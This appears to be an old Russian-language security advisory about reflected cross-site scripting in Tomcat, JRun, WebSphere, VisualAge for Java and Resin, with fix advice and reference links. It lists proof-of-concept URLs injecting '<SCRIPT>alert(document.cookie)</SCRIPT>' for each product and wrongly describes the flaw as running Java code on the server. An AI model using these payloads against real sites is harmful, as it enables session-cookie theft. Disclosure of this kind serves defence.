Напомню, что Microsoft в августе прошлого года выпустила патч, закрывающий дырку IIS cross-site scripting. Теперь найдена похожая уязвимость в различных
продуктах, поддерживающих JAVA:
Tomcat 3.2.1, 3.2.2-beta, 4.0-beta
JRun 3.0
WebSphere 3.5 FP2, 3.02, VisualAge for Java 3.5 Professional
Resin
Проблема состоит в том, что определенно построенный URL позволяет выполнить некоторый JAVA код на сервере:
Tomcat 3.2.1:
http://Tomcat/jsp-mapped-dir/<SCRIPT>alert(document.cookie)</SCRIPT>.jsp
JRun 3.0:
http://JRun/<SCRIPT>alert(document.cookie)</SCRIPT>.shtml
http://JRun/<SCRIPT>alert(document.cookie)</SCRIPT>.jsp
http://JRun/<SCRIPT>alert(document.cookie)</SCRIPT>.thtml
WebSphere 3.5 FP2:
http://WebSphere/webapp/examples/<SCRIPT>alert(document.cookie)</SCRIPT>
WebSphere 3.02:
http://WebSphere/<SCRIPT>alert(document.cookie)</SCRIPT>.jsp
VisualAge for Java 3.5 Professional:
http://VisualAge-WebSphere-Test-Environment/<SCRIPT>alert(document.cookie)</SCRIPT>
Resin 1.2.2:
http://Reisin/<SCRIPT>alert(document.cookie)</SCRIPT>.jsp
http://www.caucho.com/<SCRIPT>document.write(document.cookie)</SCRIPT>.jsp
В результате чего мы получим что-то типа такого:
An error has occurred while processing request:
http://WebSphere/webapp/examples/******
Message: File not found: //******
StackTrace: com.ibm.servlet.engine.webapp.WebAppErrorReport: File not found: //******
at javax.servlet.ServletException.<init>(ServletException.java:107)
at com.ibm.websphere.servlet.error.ServletErrorReport.<init>(ServletErrorReport.java:31)
at com.ibm.servlet.engine.webapp.WebAppErrorReport.<init>(WebAppErrorReport.java:20)
at com.ibm.servlet.engine.webapp.WebAppDispatcherResponse.sendError(WebAppDispatcherResponse.java:97)
Для устранения скачайте последние версии продуктов.
Более подробно о проблеме cross-site scripting, можно прочитать здесь:
http://www.cert.org/advisories/CA-2000-02.html
http://www.microsoft.com/TechNet/security/crssite.asp
http://www.apache.org/info/css-security/